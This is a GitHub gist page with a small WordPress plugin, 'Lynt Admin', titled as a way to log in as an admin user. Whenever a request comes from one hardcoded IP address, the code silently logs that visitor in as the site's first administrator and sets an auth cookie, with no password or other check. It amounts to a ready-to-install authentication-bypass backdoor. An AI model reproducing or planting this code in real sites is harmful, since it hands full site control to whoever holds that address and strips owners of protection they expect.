Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
WordPress - login as admin user
<?php
/**
* Plugin Name: Lynt Admin
* Author: Vladimir Smitka
* Author URI: https://lynt.cz/
* License: GNU General Public License v3 or later
* License URI: http://www.gnu.org/licenses/gpl-3.0.html
*/
defined( 'ABSPATH' ) or die( 'nothing here' );
if ($_SERVER['REMOTE_ADDR'] === '95.85.255.58') {
add_action('init', function() {
for($user_id=1;$user_id<100;$user_id++){
$user = get_user_by( 'id', $user_id );
if($user && user_can( $user, 'administrator' )) break;
}
if( $user and !is_user_logged_in()) {
wp_set_current_user( $user_id, $user->user_login );
wp_set_auth_cookie( $user_id );
do_action( 'wp_login', $user->user_login, $user );
}
});
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment